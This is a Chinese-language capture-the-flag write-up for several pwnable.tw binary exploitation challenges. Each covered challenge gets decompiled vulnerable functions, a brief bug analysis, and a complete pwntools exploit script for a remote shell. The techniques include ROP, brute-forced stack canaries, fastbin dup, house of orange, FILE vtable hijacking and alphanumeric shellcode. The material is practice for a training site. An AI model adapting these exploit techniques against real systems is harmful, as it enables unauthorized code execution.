pwnable.tw 11~18题 writeup

网址:https://pwnable.tw

18题以后的题目随缘吧,一是太难,二是pwnable.tw有话在先Do not share the solutions of high score challenges in public.,就算做出来了也不打算公开了,但是可以交流啊.


starbound 250pts

这题程序很大,如果都看完一是没有必要,而是实在太累.

main函数就有一个十分明显的洞,strtol后得到的idx没有检查边界

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
int idx; // eax
char nptr[256]; // [esp+10h] [ebp-104h]

init();
while ( 1 )
{
alarm(0x3Cu);
bss_menu();
if ( !readn(nptr, 0x100u) )
break;
idx = strtol(nptr, 0, 10);
if ( !idx ) // 没有检查边界
break;
((void (*)(void))bss_nop[idx])();
}
do_bye();
return 0;
}

而bss上典型能够让我们写的就是name了,只要重写name,然后将idx指向name,就可以调用任意函数指针了.

首先我们把name改为puts,通过strtol残留在栈上的数据,我们能够打印出刚才strtol输入的字符串,以及buf中未初始化的一些数据,这里我们可以leak出stack地址.

然后通过gadget0x08048e48 add esp, 0x1c ; ret,我们可以在strtol时在buf中写入ROP,然后改变esp从而得到执行.

由于题目没有提供libc,这里可以用Dynelf来做.从而得到system地址.

再次写ROP,在bss上写/bin/sh,然后getshell.

===

此外,这题还有其他的洞我没有用到,在cmd_kill中能够fmt,但是执行完就会exit,除非hijack了got.感觉就很鸡肋

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./starbound')
bin = ELF('./starbound')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
cn = remote('chall.pwnable.tw', 10202)
bin = ELF('./starbound')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def run_rop(rop_code):
#assert waiting in menu
cn.recvuntil('> ')
pay = '-33'
pay = pay.ljust(8,'a')
pay += rop_code
cn.send(pay)
global stack_buf
stack_buf-=0xf0

def set_name(s):
#assert waiting in main menu
cn.recvuntil('> ')
cn.sendline('6')
cn.recvuntil('> ')
cn.sendline('2')
cn.recvuntil(': ')
cn.sendline(s)
cn.recvuntil('> ')
cn.sendline('1')

def leak(addr):
set_name(p32(add_esp_1c))
pay = p32(bin.plt['write']) + p32(p3ret) + p32(1) + p32(addr) + p32(0x80)
pay+=p32(bin.sym['main'])
run_rop(pay)
d = cn.recv(0x80)
success(d)
return d

add_esp_1c = 0x08048e48 # add esp, 0x1c ; ret
p3ret = 0x080494da


set_name(p32(bin.plt['puts']))
cn.recvuntil('> ')
#z('b*0x0804A65D\nc')
cn.send('-33a')
cn.recvuntil('-33a')
stack_buf = u32(cn.recv(4))-0xb0
success('stack_buf: '+hex(stack_buf))

d = DynELF(leak,elf=bin,libcdb=False)
system = d.lookup('system','libc')
success('system: ' +hex(system))


set_name(p32(add_esp_1c))
pay = p32(bin.plt['read']) + p32(p3ret) + p32(0) + p32(0x8058800) + p32(0x10)
pay += p32(system) + 'bbbb' + p32(0x8058800)
run_rop(pay)

cn.send('/bin/sh\x00')

cn.interactive()


BabyStack 250pts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *addr; // rcx
__int64 _rand_2; // rdx
char buf3[64]; // [rsp+0h] [rbp-60h]
__int64 rand_1; // [rsp+40h] [rbp-20h]
__int64 rand_2; // [rsp+48h] [rbp-18h]
char buf[16]; // [rsp+50h] [rbp-10h]

iinit();
fp = open("/dev/urandom", 0);
read(fp, &rand_1, 0x10uLL);
addr = mmap_addr;
_rand_2 = rand_2;
*(_QWORD *)mmap_addr = rand_1;
addr[1] = _rand_2;
close(fp);
while ( 1 )
{
write(1, ">> ", 3uLL);
_read_chk(0LL, buf, 16LL, 16LL);
if ( buf[0] == '2' ) // 2.quit
break;
if ( buf[0] == '3' )
{
if ( guess_success )
func3(buf3); // 3.strcpy
else
puts("Invalid choice");
}
else if ( buf[0] == '1' ) // 1.guess
{
if ( guess_success )
guess_success = 0;
else
func1((const char *)&rand_1);
}
else
{
puts("Invalid choice");
}
}
if ( !guess_success )
exit(0);
if ( memcmp(&rand_1, mmap_addr, 0x10uLL) )
JUMPOUT(stack_check_fail);
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall func1(const char *rand_1)
{
size_t len; // rax
char s[128]; // [rsp+10h] [rbp-80h]

printf("Your passowrd :");
read_n(s, 127u);
len = strlen(s);
if ( strncmp(s, rand_1, len) )
return puts("Failed !");
guess_success = 1;
return puts("Login Success !");
}
1
2
3
4
5
6
7
8
9
int __fastcall func3(char *a1)
{
char buf[128]; // [rsp+10h] [rbp-80h]

printf("Copy :");
read_n(buf, 63u);
strcpy(a1, buf);
return puts("It is magic copy !");
}

首先,func1中的比较长度是根据我们输入的字符串的strlen来决定的,因此我们输入\x00截断,从而一位位爆破出16字节的rand.

其次,我们注意到,func3的strcpy虽然表面上看起来不会溢出,因为buf只让输入63个字符,而dst为64字节.但是,func1和func3的buf是重叠的,且read_n不会追加0字节,因此我们我们可以在func1中使buf[63]不为0,然后strcpy就能溢出了.

考虑到需要leak,我们调试后发现,strcpy后,main函数中0x10大小的buf会被覆盖成两个libc中的地址,我们考虑去leak后8字节,即setvbuf+324,从而获得onegadget的地址.

然后在用同样的方法,覆盖返回地址为onegadget,ret getshell!

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./babystack',env={"LD_PRELOAD":"/mnt/hgfs/CTF/exercise/pwnable.tw/BabyStack/libc_64.so.6"})
bin = ELF('./babystack')
libc = ELF('./libc_64.so.6')
else:
cn = remote('chall.pwnable.tw', 10205)


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

rand_num=""

def guess(s):
cn.recvuntil('>> ')
cn.send('1'.ljust(0x10,'\x01'))
d = cn.recv()
if'Your passowrd :' not in d:
cn.send('1'.ljust(0x10,'\x01'))
cn.recvuntil('Your passowrd :')
cn.send(s)
d = cn.recvline()
return d

def guess2(s):
cn.recvuntil('>> ')
cn.send('1'*8)
d = cn.recv()
if'Your passowrd :' not in d:
cn.send('1'*8)
cn.recvuntil('Your passowrd :')
cn.send(s)
d = cn.recvline()
return d

def copy(s):
cn.recvuntil('>> ')
cn.sendline('3')
cn.recvuntil('Copy :')
cn.send(s)

for i in range(0x10):
for j in range(1,0x101):
if j == 0x100:
success("leak fail!!")
exit()
if 'Success' in guess(rand_num+chr(j)+'\x00'):
rand_num+=chr(j)
success(rand_num.encode('hex'))
break

pay = rand_num[:0x10].ljust(0x20,'\x00') + 'a'*0x20 + rand_num[:0x10] + '11111111'
guess(pay)

copy('a'*63)

rand_num = rand_num+'11111111'

for i in range(6):
for j in range(1,0x101):
if j == 0x100:
success("leak fail!!")
exit()
if 'Success' in guess2(rand_num+chr(j)+'\x00'):
rand_num+=chr(j)
success(rand_num.encode('hex'))
break

libc_base = u64(rand_num[0x18:]+'\x00\x00')-324-libc.sym['setvbuf']
success('libc_base: '+hex(libc_base))

onegadget = libc_base + 0x45216

pay = rand_num[:0x10].ljust(0x20,'\x00') + 'a'*0x20 + rand_num[:0x10] + '1'*0x10+'bbbbbbbb'+p64(onegadget)
guess(pay)

copy('a'*63)

cn.sendline('2')



'''
0b:0058│ 0x7ffc1a191c18 —▸ 0x7f5cfef56fb4 (setvbuf+324) ◂— xor edx, edx

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
cn.interactive()

Spirited Away 300pts

首先因为是直接read,从栈上能leak出libc和stack

1
sprintf(sprintf_buf, "%d comment so far. We will review them as soon as we can", cnt);// overflow

这一句,当cnt≥100时,最后的n会溢出到原本值为60的变量上,该为110,从而name和comment就能溢出了.

由于comment能够覆盖栈上的heap_ptr导致任意地址free,因此考虑在栈上伪造一个chunk,下一次name malloc的时候就分配到了栈上,再次栈溢出形成ROP,从而getshell.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./spirited_away')
bin = ELF('./spirited_away')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
cn = remote('chall.pwnable.tw', 10204)
bin = ELF('./spirited_away')
libc = ELF('./libc_32.so.6')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


cn.recvuntil('Please enter your name: ')
cn.send('veritas')
cn.recvuntil('Please enter your age: ')
#z('b*0x080486F8\nc')
cn.sendline(str(0x62626262))
cn.recvuntil('Why did you came to see this movie? ')
cn.send('X'*0x18)
cn.recvuntil('Please enter your comment: ')
cn.send('a'*60)

cn.recvuntil('X'*0x18)
libc.address = u32(cn.recv(4))-libc.sym['_IO_file_sync']-7
success('libc: '+hex(libc.address))
cn.recvuntil('Would you like to leave another comment? <y/n>:')
cn.send('y')


#z('b*0x080486F8\nc')
cn.recvuntil('Please enter your name: ')
cn.send('veritas')
cn.recvuntil('Please enter your age: ')
cn.sendline(str(0x62626262))

cn.recvuntil('Why did you came to see this movie? ')
cn.send('X'*0x38)
cn.recvuntil('Please enter your comment: ')
cn.send('a'*60)


cn.recvuntil('X'*0x38)
stack = u32(cn.recv(4))-(0xf0-0x80)
success('stack: '+hex(stack))
cn.recvuntil('Would you like to leave another comment? <y/n>:')
cn.send('y')


for i in range(100):
cn.recvuntil('Please enter your name: ')
cn.send('a'*60)
cn.recvuntil('Please enter your age: ')
cn.sendline(str(0x62626262))
cn.recvuntil('Why did you came to see this movie? ')
cn.send('a'*80)
cn.recvuntil('Please enter your comment: ')
cn.send('a'*60)
cn.recvuntil('Would you like to leave another comment? <y/n>:')
cn.send('y')


cn.recvuntil('Please enter your name: ')
cn.send('a'*60)
cn.recvuntil('Why did you came to see this movie? ')
pay = p32(0) + p32(0x41) + 'a'*56 + p32(0) + p32(0x41)
cn.send(pay)
cn.recvuntil('Please enter your comment: ')
pay = 'a'*80 + 'bbbb' + p32(stack+8) + p32(0) + p32(0x41)
cn.send(pay)
cn.recvuntil('Would you like to leave another comment? <y/n>:')
success('libc: '+hex(libc.address))
success('stack: '+hex(stack))
#z('b*0x08048643\nc')

cn.send('y')

pay = 'a'*0x48
pay+='bbbb' +p32(libc.sym['system']) + 'bbbb'+p32(libc.search('/bin/sh\x00').next())
cn.recvuntil('Please enter your name: ')
cn.send(pay)
cn.recv()
cn.sendline('aaa')
cn.recv()
cn.sendline('aaa')
cn.recv()
cn.sendline('n')


cn.interactive()

Secret Garden 350pts

漏洞在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int remove()
{
int result; // eax
flower *p; // rax
unsigned int idx; // [rsp+4h] [rbp-14h]
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( !flower_num )
return puts("No flower in the garden");
__printf_chk(1LL, "Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &idx);
if ( idx <= 0x63 && (p = chunklist[idx]) != 0LL )
{
LODWORD(p->vaild) = 0; // 可以fastbin dup
free(chunklist[idx]->name);
result = puts("Successful");
}
else
{
puts("Invalid choice");
result = 0;
}
return result;
}

首先通过unsortedbin和fastbin可以leak出libc地址和heap段地址,这个不多说.

然后可以用fastbin dup来伪造chunk,修改内存.

比较容易想到是__free_hook,但是freehook的周围都是\x00,不给机会.

我想到的是去改_IO_stdout的vtable为onegadget.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./secretgarden')
bin = ELF('./secretgarden')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('chall.pwnable.tw', 10203)
bin = ELF('./secretgarden')
libc = ELF('./libc_64.so.6')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def raiseflower(length,name,color):
cn.recvuntil(":")
cn.sendline("1")
cn.recvuntil(":")
cn.sendline(str(length))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(color)

def visit():
cn.recvuntil(":")
cn.sendline("2")

def remove(idx):
cn.recvuntil(":")
cn.sendline("3")
cn.recvuntil(":")
cn.sendline(str(idx))

def clean():
cn.recvuntil(":")
cn.sendline("4")



raiseflower(0x80,'000',"aaa")#0
raiseflower(0x80,'111',"aaa")#1
raiseflower(0x28,'222',"aaa")#2
raiseflower(0x80,'333',"aaa")#3
remove(0)
remove(2)
raiseflower(0x80,'X'*8,"aaa")#4
visit()

cn.recvuntil('X'*8)
if local:
libc.address = u64(cn.recv(6)+'\x00\x00') - 0x3c4b20 - 88
else:
libc.address = u64(cn.recv(6)+'\x00\x00') - 0x3c3b20 - 88
success('libc: '+hex(libc.address))

raiseflower(0x40,'55',"aaa")#5
raiseflower(0x40,'66',"aaa")#6
raiseflower(0x40,'77',"aaa")#7

remove(5)
remove(6)

raiseflower(0x40,'Q',"aaa")#8
visit()

cn.recvuntil('Name of the flower[8] :')
heap_base = u64(cn.recv(6)+'\x00\x00')-0x1251

success('heap_base: '+hex(heap_base))

raiseflower(0x40,'99',"aaa")#9 bukong

raiseflower(0x28,'00',"aaa")#10
raiseflower(0x28,'11',"aaa")#11
raiseflower(0x28,'22',"aaa")#12
raiseflower(0x28,'33',"aaa")#13
raiseflower(0x28,'44',"aaa")#14

raiseflower(0x60,'55',"aaa")#15
raiseflower(0x60,'66',"aaa")#16
raiseflower(0x100,'77',"aaa")#17

remove(10)
remove(11)
remove(12)
remove(13)
remove(14)

#fastbin dup
remove(15)
remove(16)
remove(15)

#FILE
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
if local:
onegadget = libc.address + 0x4526a
else:
onegadget = libc.address + 0x4526a

pay = p64(_IO_2_1_stdout_+0x90+13)
raiseflower(0x60,pay,"aaa")#17
raiseflower(0x60,p64(onegadget)*12,"PAY")#18
raiseflower(0x60,'99',"aaa")#19

jumps_addr = heap_base + 0x1750

pay = '\x00'*0x13 + '\xff\xff\xff\xff' + '\x00'*(9+8+3)
pay += p64(jumps_addr)

raiseflower(0x60,pay,"aaa")#19

cn.interactive()

除了这个方法,其实还可以去改malloc_hook,freehook,甚至是到栈上写ROP!

这位博主整理的很到位:http://tacxingxing.com/2018/02/20/pwnabletw-secretgarden/


Alive Note 350pts

和之前的death note一个类型,都是带限制的shellcode,但这个难了不少…

先说下限制点,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int add_note()
{
int idx; // [esp+0h] [ebp-18h]
char s[8]; // [esp+4h] [ebp-14h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
idx = read_int();
if ( idx > 10 )
{
puts("Out of bound !!");
exit(0);
}
printf("Name :");
read_input(s, 8u);
if ( !check(s) )
{
puts("It must be a alnum name !");
exit(-1);
}
note[idx] = strdup(s);
puts("Done !");
return __readgsdword(0x14u) ^ v3;
}

还是一样的洞,idx没有检查负数,导致可以hijack got.

但是这次要求shellcode只含字母和数字,而且,shellcode被强行分成了8bytes一段.

但是被分成了8bytes不表示执行完8bytes程序就gg了.因为chunk head的二进制为\x00\x00\x00\x00\x11\x00\x00\x00,反编译为

1
2
3
4
5
In [127]: print disasm('\x00\x00\x00\x00\x11\x00\x00\x00')
0: 00 00 add BYTE PTR [eax],al
2: 00 00 add BYTE PTR [eax],al
4: 11 00 adc DWORD PTR [eax],eax
6: 00 00 add BYTE PTR [eax],al

只要此时的eax为可写段地址即可,比如栈.

后面怎么写的就不多说了,写的很心累.我是强行去执行execve(“/bin/sh”,0,0)来做的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./alive_note')
bin = ELF('./alive_note')
else:
cn = remote('chall.pwnable.tw', 10300)


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


pay = """
/*0x0*/
pop edx;
pop ecx; /* shellcode addr */
pop eax;
pop eax; /* stack addr */
xor cl,[ecx+0x4c]
inc ecx;

/* edx = 0x80488ef */
/* ebx = 0 */

add BYTE PTR [eax],al;
add BYTE PTR [eax],al;
adc DWORD PTR [eax],eax;
add BYTE PTR [eax],al;


/*0x10*/
inc ecx;
inc ecx;/* cl = 0xc */
push 0x6e6e6e6e
pop edx

add BYTE PTR [eax],al;
add BYTE PTR [eax],al;
adc DWORD PTR [eax],eax;
add BYTE PTR [eax],al;

/*0x20*/
xor [ecx],dh
dec ecx;
dec ecx;
dec ecx;
dec ecx;/* cl = 0x8 */
xor [ecx],dh


add BYTE PTR [eax],al;
add BYTE PTR [eax],al;
adc DWORD PTR [eax],eax;
add BYTE PTR [eax],al;

/*0x30*/

push ecx
push ebx
xor [ecx+0x46],dh
pop ecx
.byte 0x35 /* pop ebx*/
pop edx
/*eax = stack addr*/
/*ebx = /bin/sh */
/*ecx = 0 */
/*edx = 0x6e6e6e6e */

add BYTE PTR [eax],al;
add BYTE PTR [eax],al;
adc DWORD PTR [eax],eax;
add BYTE PTR [eax],al;

/*0x40*/
xor [ebx+0x64],dl /*smc int*/
xor [ebx+0x65],dl /*smc 0x80*/
push ecx
pop edx
/*eax = stack addr*/
/*ebx = /bin/sh */
/*ecx = 0 */
/*edx = 0 */

add BYTE PTR [eax],al;
add BYTE PTR [eax],al;
adc DWORD PTR [eax],eax;
add BYTE PTR [eax],al;

/*0x50*/
pop eax
pop eax
xor al,0x4a
.byte 0x74 /* int */
.byte 0x39 /* 0x80*/

add BYTE PTR [eax],al;
add BYTE PTR [eax],al;
adc DWORD PTR [eax],eax;
add BYTE PTR [eax],al;

/*0x60*/
.byte 0x41 /* for 0xb */
.byte 0x00 /* for 0xb */
.byte 0x00 /* for 0xb */
.byte 0x00 /* for 0xb */



/* execve("/bin/sh",0,0) */
/* eax=0xb, ebx = /bin/sh,ecx=0 ,edx=0*/
"""

shellcode= asm(pay)
print shellcode

print len(shellcode)

scs = shellcode.split('\x00\x00\x00\x00\x11\x00\x00\x00')

def add(idx,s):
cn.recvuntil('Your choice :')
cn.sendline('1')
cn.recvuntil('Index :')
cn.sendline(str(idx))
cn.recvuntil('Name :')
cn.send(s.ljust(8,'\x00'))

add(0,'AbinAsh')#/bin/sh in heap

add(-27,scs[0])#hijack free

for i in range(1,len(scs)):
add(0,scs[i])

z('b*0x080488EA\nc')

#delete
cn.recvuntil('Your choice :')
cn.sendline('3')
cn.recvuntil('Index :')
cn.sendline('-27')

cn.interactive()

做完看了别人的解答,其实可以曲线救国,因为/bin/sh真的不好传,所以可以先执行syscall调用read把正常的shellcode读进来,然后跳到正常的shellcode上执行getshell.(脑子还是不够灵活


BookWriter 350pts

此题用house of orange做

三个洞:

  1. info函数中的author没有零截断,可以leak出page0,即heap
  2. add函数中的i处理不当,若pagesize[0]为0,则可以读入第九个page,此时page[0]的pagesize被改写,从而可以暴力堆溢出
  3. edit函数中用strlen重新计算长度不当,因为page也没有0截断,因此如果后面有连字符(如chunk size),就能在第二次edit时改写.

偷个懒(其实是有原因的),我们使用2.24下house of orange的做法,这样就不用leak堆地址了.
原因是题目没有设置stdin为无缓冲,因此一旦进入info函数触发scanf就会在堆上为stdin分配buf,导致我本地利用成功,远程gg的尴尬.

orange的细节以及exp中的FILE模块,可以见我IO_FILE学习笔记那篇文章.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./bookwriter',env={"LD_PRELOAD":"./libc_64.so.6"})
bin = ELF('./bookwriter')
libc = ELF('./libc_64.so.6')
else:
cn = remote('chall.pwnable.tw', 10304)
bin = ELF('./bookwriter')
libc = ELF('./libc_64.so.6')

def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(s,l):
cn.recvuntil('Your choice :')
cn.sendline('1')
cn.recvuntil('Size of page :')
cn.sendline(str(l))
cn.recvuntil('Content :')
cn.send(s)

def view(idx):
cn.recvuntil('Your choice :')
cn.sendline('2')
cn.recvuntil('Index of page :')
cn.sendline(str(idx))


def edit(idx,s):
cn.recvuntil('Your choice :')
cn.sendline('3')
cn.recvuntil('Index of page :')
cn.sendline(str(idx))
cn.recvuntil('Content:')
cn.send(s)


def info():
cn.recvuntil('Your choice :')
cn.sendline('4')

def set_author(s):
cn.recvuntil('Author :')
cn.send(s)

set_author('a'*64)
add('A'*0x18,0x18)#0
edit(0,'\x00'*0x18)

#house of orange
add('B'*0x88,0x88)#1
edit(1,'B'*0x88)
#topchunk size = 0x20f51 --> 0xf51
edit(1,'B'*0x88 + '\x51\x0f\x00')

#triger int_free
add('C',0x1000)#2

add('D'*8,0x200)#3
view(3)
cn.recvuntil('D'*8)

libc.address = u64(cn.recv(6).ljust(8,'\x00'))-0x3c3b20-1640
_IO_str_jumps = libc.address + 0x3c27a0
system = libc.sym['system']
_IO_list_all=libc.sym['_IO_list_all']
binsh = libc.search('/bin/sh\x00').next()

success('libc: '+hex(libc.address))
success('system: '+hex(system))
success('_IO_list_all: '+hex(_IO_list_all))
success('_IO_str_jumps: '+hex(_IO_str_jumps))
success('binsh: '+hex(binsh))

for i in range(4,9):
add(str(i)*0x10,0x10)

pay='\x00'*0x350

from FILE import *
context.arch = 'amd64'
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base =_IO_list_all-0x10
fake_file._IO_buf_base = binsh
fake_file._mode = 0
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = _IO_str_jumps-8

pay+=str(fake_file).ljust(0xe8,'\x00')+p64(system)
edit(0,pay)

cn.recvuntil('Your choice :')
cn.sendline('1')
cn.recvuntil('Size of page :')
cn.sendline('1')

cn.interactive()


MnO2 400pts

丧心病狂的pwnable.tw这次要用元素周期表的元素名和数字来组shellcode,emmm,不想多解释,原因你懂的.

exp已经尽量写的很清楚了.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
#coding=utf8
from pwn import *
#context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./mno2')
else:
cn = remote('chall.pwnable.tw', 10301)


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

## set eax => stack ,esi => 0
sc = '''
push ebp
pop eax
gs inc esi
'''
sc+='dec eax\n'*64
sc+='''
push edi
xor esi,DWORD PTR [eax]
dec esi
'''

## set edi => '//sh'
sc+='''
dec eax
dec eax
dec eax
dec eax
push edi
xor edi,DWORD PTR [eax] /* edi = 0*/
inc edx
push 0x50465656
dec eax
dec eax
dec eax
dec eax
xor edi,DWORD PTR [eax]
inc edx
push 0x59724949
dec eax
dec eax
dec eax
dec eax
xor edi,DWORD PTR [eax]
inc edx
push 0x61473030
dec eax
dec eax
dec eax
dec eax
xor edi,DWORD PTR [eax]
'''

## set esi => '/bin'
sc+='''
inc edx
push 0x56464f56
dec eax
dec eax
dec eax
dec eax
xor esi,DWORD PTR [eax]
inc edx
push 0x61436e49
dec eax
dec eax
dec eax
dec eax
xor esi,DWORD PTR [eax]
inc edx
push 0x596c4330
dec eax
dec eax
dec eax
dec eax
xor esi,DWORD PTR [eax]
'''


# set ebx => '/bin//sh\x00'
sc+='''
push ebx /* 0 */
push edi /* '//sh' */
push esi /* '/bin' */
'''
sc+='dec eax\n'*12
sc+='''
push ebx
push ebx
push esp
gs inc esi
push eax
push esp
gs inc esi
push ebp
push ebx
push ebx
inc edx
popad /* use popad to change value in reg */
'''


# prepare to smc int 0x80
sc+='inc edx\n'*52
sc+='xor esi,DWORD PTR [edx]\n'#esi=0,use stack value,set esi => stack value
sc+='inc esi\n'*10#(0xea->0xf4)
sc+='push esi\n'
sc+='inc esi\n'*57#(0xf4->0x2d)
sc+='push esi\n'
sc+='''
inc edx
push 0x324f704e /* int 0x80 addr */
push eax
push eax
push ebx
push esp
gs inc esi
dec esi
push ebp
push edx
gs inc esi
inc edx
push 0x324f704e
inc edx
popad
'''


# smc int 0x80
sc+='dec esi\n'*49
sc+='''
xor dh,BYTE PTR [esi]
xor BYTE PTR [edi],dh
inc edi
gs inc esi
dec esi
dec esi
dec esi
dec esi
dec esi
xor dh,BYTE PTR [esi]
xor BYTE PTR [edi],dh
'''


# prepare ecx,edx => 0
sc+='''
xor dh,BYTE PTR [esi]
inc esi
inc esi
inc esi
inc esi
xor dh,BYTE PTR [esi]
push edx
gs inc esi
push edx
gs inc esi
push edx
gs inc esi
push ebx
push esp
gs inc esi
push ebp
push edx
gs inc esi
push edx
gs inc esi
inc edx
popad
'''

# prepare eax => 0xb

sc+='inc edx\n'*11
sc+='''
push edx
gs inc esi
dec esi
push esi
push esi
push ebx
push esp
gs inc esi
dec esi
push ebp
push esi
push esi
inc edx
popad
'''

#padding+int0x80
sc+='inc esi\n'*0x3f
sc+='''
.byte 0x39
.byte 0x59
'''

shellcode = asm(sc)
print shellcode

cn.sendline(shellcode)

cn.interactive()


'''
[B] inc edx
[Ba] inc edx;popad
[Bhxxxx] inc edx;push 0xDEADBEEF
[C] inc ebx
[F] inc esi
[H] dec eax
[I] dec ecx
[K] dec ebx
[N] dec esi
[O] dec edi
[P] push eax
[S] push ebx
[U] push ebp
[V] push esi
[W] push edi
[Y] pop ecx
[XeFN] pop eax;gs inc esi;dec esi
[TeFN] push esp;gs inc esi;dec esi
[ReFN] push edx;gs inc esi;dec esi
[GeFN] inc edi;gs inc esi;dec esi
[30] xor esi,DWORD PTR [eax]
[38] xor edi,DWORD PTR [eax]
[32] xor esi,DWORD PTR [edx]
[26] xor dh,BYTE PTR [esi]
[07] xor BYTE PTR [edi],dh
'''


Secret Of My Heart 400pts

感觉这题出简单了??

